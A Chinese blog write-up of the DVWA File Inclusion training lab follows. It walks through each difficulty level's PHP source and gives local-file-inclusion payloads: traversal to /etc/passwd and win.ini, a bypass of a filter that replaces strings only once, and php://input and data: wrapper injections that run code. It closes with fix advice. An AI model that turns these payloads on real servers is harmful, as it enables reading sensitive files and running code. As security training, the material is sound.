DVWA-File Inclusion

文件包含是指应用程序加载的文件(本地/远程)可以由用户提交的数据控制,从而导致攻击者控制恶意文件在服务器上执行.

对于php来说,常见的文件包含函数有如下:

require:找不到被包含的文件,报错,并且停止运行脚本。 include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

报错的解决方法:
在这里插入图片描述
新建一个php文件,展示php的版本信息,找到php.ini文件的存储位置
在这里插入图片描述
在这里插入图片描述
修改php.ini配置文件开启文件包含功能,allow_url_include = on

Low

1、查看服务器端源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看到没有对page参数做任何过滤
2、查看客户端源代码
在这里插入图片描述
3、构造payload

-绝对路径:c:\window\win.ini

该文件为重要的系统文件。默认保存在C:\Windows\win.ini,一般大小不超过100KB我们可以使用记事本轻松的打开编辑这个文件,其作用就是用于保存系统配置文件

通过page参数传递服务器本地文件,进行LFT攻击
在这里插入图片描述
在这里插入图片描述
文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

相对路径:…/…/…/…/…/…/…/…/…/…/etc/password
./ 当前目录。
…/ 父级目录。
/ 根目录。

是相对于dvwa-master/vulnerabilities/fi的文件位置
在这里插入图片描述
使用php封装协议读取和写入php文件

远程文件包含
1.通过http协议包含本地服务器上的文件
在这里插入图片描述
2.通过http协议包含远程服务器上的文件
。。。。

Medium

1、查看服务器端源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

清除 page 参数中的 http://、https://、…/、…\字符串, 可以使用 php://input,php://filter, data url schema 等进行注入,也可使用替换逻辑漏洞(只替换一次)将被替换字符串迭代使用,例如 hthttp://tp://被替换后为 http://

2、攻击
本地文件包含攻击
….//….//….//….//….//….//….//….//….//….//etc/password
…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./etc/password
远程文件包含攻击
在这里插入图片描述
使用绝对路径绕过
在这里插入图片描述
使用file协议绕过

中文意思:本地文件传输协议
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。
在这里插入图片描述

使用php封装协议读取和写入php文件
php://input <?php phpinfo();
在这里插入图片描述
不知咋滴出现warning…

data:text/plain;charset=utf-8,<?php phpinfo();
在这里插入图片描述

High

1、查看服务器端源代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

fnmatch()
根据指定的模式来匹配文件名或字符串
2、攻击
对提交参数进行检查,只允许 include.php 以及 file 开头的文件被包含,只能包含本地file 开头的文件或配合文件上传漏洞组合进行利用

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

修复建议
a) 使用白名单列表限制被包含文件
b) 关闭远程文件包含功能
c) 避免 web 服务器启动用户权限过高

部分内容参考:
https://www.cnblogs.com/yuzly/p/10799486.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值